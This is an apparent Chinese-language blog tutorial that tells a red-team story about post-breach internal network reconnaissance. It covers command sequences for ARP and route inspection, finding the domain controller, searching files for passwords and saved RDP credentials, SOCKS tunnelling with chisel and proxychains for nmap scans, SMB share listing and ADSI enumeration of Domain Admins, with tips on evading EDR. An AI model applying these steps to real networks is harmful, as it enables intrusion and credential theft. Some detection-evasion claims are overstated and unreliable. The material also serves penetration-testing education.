打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远

打进内网后一脸懵?内网渗透第一步------信息收集决定了你能走多远

一个真实的红队故事,带你走完内网信息收集的每一步

上个月的真实场景

凌晨两点,我拿到了一台边界Web服务器的shell。

目标是一家中型企业的外网门户,一个存在了七八年的老PHP系统。通过一次SQL注入拿到了RDP用户密码,顺利登陆了这台WIndows Server 2012。

习惯性 ipconfig 看了一眼IP------172.16.1.105,妥妥的内网段。

我心想:"好,挖进去了。但然后呢?"

绝大多数安全从业者都卡在这一步------你突破边界进了内网,但面前是一片纯黑的网络海洋。你不知道旁边有哪些机器,不知道域控在哪,不知道哪些端口开着,更不知道哪些机器等你横向移动。

这一步,叫内网信息收集。90%的内网渗透成败,取决于信息收集做得够不够细。


第一章:为什么要做信息收集?

很多人觉得"我都进去了,直接扫呗"。

但真实场景下:

text 复制代码
扫描行为会产生流量 → 可能触发IDS/EDR告警 → 蓝队把你扼杀在内网门口

信息收集的目的不是扫一圈IP列表,而是回答以下几个问题:

  • 我是谁------当前漏洞机的角色、域环境、网络配置
  • 旁边是谁------同一个网段有哪些邻居、网关在哪
  • 目标是谁------域控在哪、文件服务器在哪、数据库在哪
  • 我能去哪------还有哪些网段可以路由到达
  • 怎么不被发现------哪些流量会被监控

这五个问题,前四个回答的是"怎么打",第五个回答的是"怎么活"。


第二章:侦察第一轮------本地信息收集

拿到shell后,我做了这么几件事。

2.1 网络配置摸底

不管Windows还是Linux,第一件事永远是确认网络拓扑:

powershell 复制代码
# Windows必查
ipconfig /all
route print
netstat -ano
arp -a
bash 复制代码
# Linux必查
ifconfig
ip route
netstat -tunlp
arp -n

为什么要查ARP表?

机器之间的通信只要在同一个二层网络,通信过的IP会短暂留在ARP表里。一个活跃的ARP表,基本就等于"隔壁有人的机器列表"。

我在这台Win Server上看到:

text 复制代码
接口: 172.16.1.105 --- 0x0b
  Internet 地址      物理地址        类型
  172.16.1.1         00-50-56-b3-12-aa   动态    ← 网关
  172.16.1.10        00-50-56-b3-33-bb   动态    ← 有机器!
  172.16.1.20        00-50-56-b3-44-cc   动态    ← 有机器!
  172.16.1.50        00-50-56-b3-55-dd   动态    ← 有机器!
  172.16.1.100       00-50-56-b3-66-ee   动态    ← 有机器!
  172.16.2.15        00-50-56-b3-77-ff   动态    ← 跨网段?!

关键发现:172.16.1/24网段至少有4台活跃机器,而且还有一台172.16.2.15出现在ARP表里------这意味着这台机器的路由表里有通往别的网段的路径,或者这台机器本身是多网卡。

powershell 复制代码
# 验证是否多网卡
ipconfig /all | findstr "IPv4"

果然,这台机器有两块网卡:

text 复制代码
IPv4 Address: 172.16.1.105
IPv4 Address: 172.16.2.105

结论:这台机器是通往172.16.2/24的跳板机。大部分内网渗透都从这里开始------找"连接多网段的机器"。

2.2 域环境探测

确认域环境是信息收集中最关键的一步:

powershell 复制代码
# 判断是否加域
systeminfo | findstr "Domain"

# 看到的结果
Domain: CORP.LOCAL

看到 CORP.LOCAL,心情瞬间上来了------加域的。这意味着存在域控(DC,Domain Controller),整个内网有一套统一的认证体系。

再查域控位置:

powershell 复制代码
# 查当前登陆的域用户
whoami

# 结果
corp\zhangwei
powershell 复制代码
# 查域控
nltest /dclget:corp.local

返回:

text 复制代码
DC: \\DC01.corp.local
IP: 172.16.1.10

域控就在隔壁172.16.1.10------和ARP表上看到的那台机器是同一个IP。

一个重要的经验:拿到域控IP后,不要急着打。先做完整的信息收集,搞清楚域控上跑了什么服务,再做下一步决策。

2.3 本地敏感信息搜索

信息收集不只是看网络拓扑,还包括这台机器本身存储了什么东西:

powershell 复制代码
# Windows - 搜各类密码相关文件
findstr /si password *.xml *.config *.txt *.ini *.bat *.ps1

# 搜Web配置文件
dir /s *.config *.env

# 搜RDP连接记录
dir /a cmdkey /list

我在这台机器上找到了一个 db_config.bak 文件:

ini 复制代码
[DB_Connection]
server=172.16.1.50
database=ERP_MAIN
user=sa
password=Corp@Admin!2024

又一个目标浮出水面------172.16.1.50,一台SQL Server数据库。

同时,cmdkey /list 显示:

text 复制代码
当前保存的凭据目标:
    LegacyGeneric:target=TERMSRV/172.16.1.20
    LegacyGeneric:target=TERMSRV/172.16.1.10

这台机器上存了到172.16.1.20和172.16.1.10的RDP凭据!这些凭据在当前用户的Windows凭据管理器里,可以直接用 runas /savedcred 调用。


第三章:侦察第二轮------横向存活探测

做完本地信息收集,手里已经有几个目标IP了。接下来要做一件事------确认哪些机器真正在线上、哪些端口开放。

3.1 低噪存活探测

第一轮探测不用NMAP,因为NMAP的SYN扫描在很多EDR眼里是既定告警。我推荐两种方式:

powershell 复制代码
# 方式1:利用ARP ping(二层,不产生IP层流量)
for /L %i in (1,1,254) do ping -n 1 -w 100 172.16.1.%i | find "TTL="
powershell 复制代码
# 方式2:用powershell Test-NetConnection(速度更快)
1..254 | % { if (Test-Connection -Count 1 -ComputerName "172.16.1.$_" -Quiet) { "172.16.1.$_ is alive"} }

这种方式产生的流量特征和普通Windows机器的网络操作几乎没区别,EDR很难判定是恶意行为。

3.2 端口探测(用代理转发)

探测到存活主机后,不能拿着攻击机直接扫描------攻击机的IP不在内网段,扫不到。

正确做法是建立SOCKS代理转发:

bash 复制代码
# 在攻击机上执行(通过反弹shell的机器做跳板)
# 用frp或chisel建立socks隧道
chisel client <跳板机>:<端口> R:socks

然后在本地配置proxychains:

bash 复制代码
# /etc/proxychains.conf
socks5 127.0.0.1 1080

通过代理进行端口扫描:

bash 复制代码
proxychains -q nmap -sT -Pn -p 22,80,443,445,3389,3306,1433,8080,8443 \
  172.16.1.10 172.16.1.20 172.16.1.50

扫描结果:

text 复制代码
172.16.1.10  →  DC01.corp.local
  PORT     STATE  SERVICE
  53/tcp   open   domain       ← DNS
  88/tcp   open   kerberos     ← Kerberos
  135/tcp  open   rpc
  139/tcp  open   netbios
  389/tcp  open   ldap         ← LDAP
  445/tcp  open   smb          ← SMB
  3389/tcp open   ms-wbt-server ← RDP
  5985/tcp open   winrm        ← WinRM

172.16.1.20  →  CORP-FILE01
  PORT     STATE  SERVICE
  135/tcp  open   rpc
  139/tcp  open   netbios
  445/tcp  open   smb
  3389/tcp open   ms-wbt-server

172.16.1.50  →  CORP-DB01
  PORT     STATE  SERVICE
  135/tcp  open   rpc
  1433/tcp open   ms-sql-s    ← SQL Server
  3389/tcp open   ms-wbt-server

血的教训:不要在跳板机上直接运行masscan/NMAP的全端口扫描。我曾见过一个红队兄弟,在跳板机上扫全端口被EDR告警,15分钟后蓝队就把他踢下线了。扫常用端口就够了,全端口扫描是给蓝队送业绩。

3.3 SMB共享探测

445端口开着的机器是内网渗透的金矿------SMB共享里往往躺着大量敏感文件:

powershell 复制代码
# 列出目标机器上的所有共享
net view \\172.16.1.20

# 结果
共享名       类型       用途    注释
-------------------------------------------------------------------------------
Backup       Disk              备份共享
Data         Disk              部门数据
Finance$     Disk              财务数据(隐藏共享)
IPC$         IPC               远程 IPC

共享一多,第一个要挂上去的是隐藏共享 Finance$

powershell 复制代码
# 尝试访问
dir \\172.16.1.20\Finance$

如果能访问,恭喜你找到金矿了。财务共享里通常有薪资表、对账单,这些在钓鱼邮件和社会工程学里是极好的素材。

如果提示无权限------正常。这时候不要硬来,记下这条共享路径,后续拿到域管权限后再来访问。


第四章:侦察第三轮------域内信息收集

这一步是拉开和其他红队差距的地方。大多数人在第二步就急着拿工具开扫了。但真正老练的红队会在这一步做细致的域信息收集

4.1 域用户枚举(不触发告警的方式)

用ADSI(AD Service Interface)查询,不走LDAP的审计log:

powershell 复制代码
# PowerShell ADSI查询 - 域用户列表
$searcher = [ADSISearcher]'(&(objectClass=user)(objectCategory=person))'
$searcher.PageSize = 1000
$searcher.FindAll() | ForEach-Object {
    $user = $_.Properties
    [PSCustomObject]@{
        UserName = $user.samaccountname
        DisplayName = $user.displayname
        Enabled = $user.useraccountcontrol -band 2 -eq 0
        LastLogon = [datetime]::FromFileTime($($user.lastlogontimestamp[0]))
    }
} | Format-Table -AutoSize

这个查询方式的特点是------它用的是当前域用户的权限,走的是WMI/ADSI路径,不会产生明显的LDAP查询日志。蓝队如果没专门配ADSI审计,根本看不到你。

4.2 域管理组成员查询

找到域管理员是谁,等于找到了目标:

powershell 复制代码
# 查询Domain Admins组
$searcher = [ADSISearcher]'(&(objectClass=group)(cn=Domain Admins))'
$result = $searcher.FindOne()
$result.Properties.member | ForEach-Object {
    $member = [ADSI]"LDAP://$_"
    $member.Properties.samaccountname
}

输出:

text 复制代码
administrator
wang_li
zhang_wei
liu_hai

四名域管理员。查他们的登陆习惯:

powershell 复制代码
# 查看域控的登陆会话
net session \\DC01

冷知识net session 走的是SMB协议,如果域控上SMB服务没有单独审计这行命令,它是不会产生告警的。

4.3 组策略与OU结构分析

OU(组织单元)结构直接暴露了企业的组织架构,这是做横向移动路线规划的重要信息:

powershell 复制代码
$searcher = [ADSISearcher]'(&(objectClass=organizationalUnit))'
$searcher.FindAll() | ForEach-Object {
    $_.Properties.distinguishedname
}

输出:

text 复制代码
OU=Domain Controllers,DC=corp,DC=local
OU=Servers,DC=corp,DC=local
OU=Workstations,DC=corp,DC=local
OU=Finance,OU=Servers,DC=corp,DC=local
OU=IT,OU=Servers,DC=corp,DC=local
OU=Executives,DC=corp,DC=local

看到这层结构,我立刻标记了两个重点:

  • OU=Finance → 刚才的SQL Server可能归属这里,里面有财务数据
  • OU=Executives → 高管的机器,可能存着机密文档

第五章:实操------把信息收集结果画成一张攻击地图

信息收集做完了,不要只停留在脑子里。画一张攻击地图,你才能看清全局。

我的习惯是在笔记里画一个简单的拓朴图:

text 复制代码
                     ┌─────────────────────┐
                     │    攻击机 (Kali)     │
                     │     10.0.0.2        │
                     └─────────┬───────────┘
                               │ SSH隧道 (frp)
                               ▼
               ┌───────────────────────────────┐
               │     跳板机 (WEB01)             │
               │     172.16.1.105              │
               │     172.16.2.105              │←双网卡跳板
               │     CORP\zhangwei             │
               │     已获取: RDP凭据*2          │
               └───────┬───────────────┬───────┘
                       │               │
          ┌────────────┴─────┐   ┌────┴────────────┐
          │  172.16.1.10     │   │  172.16.1.20    │
          │  DC01            │   │  CORP-FILE01    │
          │  域控             │   │  文件服务器      │
          │  RDP凭据可用      │   │  共享: Backup   │
          │  目标: Kerberoast │   │  Data, Finance$│
          └──────────────────┘   └─────────────────┘
                               │
                    ┌──────────┴──────────┐
                    │  172.16.1.50        │
                    │  CORP-DB01          │
                    │  SQL Server 2019    │
                    │  sa密码已获取        │
                    │  DB: ERP_MAIN       │
                    └─────────────────────┘

有了这张图,横向移动的路线就很清楚了:

路线1:用已缓存的RDP凭据直接登陆DC01,尝试提权

路线2:用sa密码连接DB01,捞ERP数据

路线3:通过FILE01的共享,找敏感文件提炼更多凭据

路线4:通过双网卡跳板往172.16.2/24渗透


第六章:信息收集的黄金法则------5条经验总结

做了这么多年的内网渗透,我总结了几条铁律:

法则1:多花时间在"看"上,少花时间在"扫"上

具体比例:70%时间看,20%时间分析,10%时间扫

看是最安静的------看ARP表、看DNS缓存、看凭据管理器、看Local Admin组、看Scheduled Tasks。这些都是Windows系统自己的行为,EDR不会管。

扫是最噪的------一旦开始端口扫描,你就在EDR雷达上了。所以只在你知道要看什么的时候才扫。

法则2:信息收集不是"一次性"的

信息收集不是第一轮做完就结束了。 每横向移动一步,你都在一个新的机器上重新做一次信息收集。这台机器能看到什么网段?这台机器存了什么凭据?这台机器上有什么系统服务?

每一跳都是一次重新侦察。

法则3:优先打"多网卡"的机器

双网卡/多网卡机器是内网渗透的黄金跳板。发现一台多网卡机器,等于多了一条通往新网段的通道。用 ipconfig /all 确认多网卡的机器后,优先把它作为下一轮攻击的据点。

法则4:别忽视"过期"信息

ARP表里的条目、DNS缓存记录、凭据管理器里的过期凭据------这些都可能过期,但也可能是线索。过期的凭据说明某个服务曾经用这个账号连接过,这种"历史连接关系"本身就暴露了目标机器的角色。

法则5:最危险的不是读,是写

读数据不会触发告警,写数据才会。

信息收集阶段,你只是在读取已有的数据------查DNS、查路由表、查共享、查域成员。这些行为在EDR里的风险等级通常是Low。但一旦你开始创建服务、写入注册表、植入后门、添加用户------这些行为会触发Medium到Critical的告警。

所以:信息收集阶段能多安静就多安静,攻击操作留到做足了侦察再说。


写在最后

信息收集是内网渗透的基石。这一步做得够好,后面的横向移动才能做到"指哪打哪"。

这篇文章是内网渗透实战系列的第一篇。下一篇我们会讲------凭据窃取与横向移动技术,包括:

  • 如何从lsass.dmp中提取明文凭据
  • Pass-the-Hash和Overpass-the-Hash的技术细节
  • 用SMB exec和WMI exec做横向移动
  • 如何绕过常见EDR的横向移动检测

如果你有内网渗透方面的问题或想看的主题,欢迎留言。下期见。

text 复制代码
打得了一台机器不叫渗透,拿到了整个域才叫渗透。
信息收集的工作量决定了你能走得有多远。

关注「安全值班室」公众号

每天实战攻防案例 + 安全干货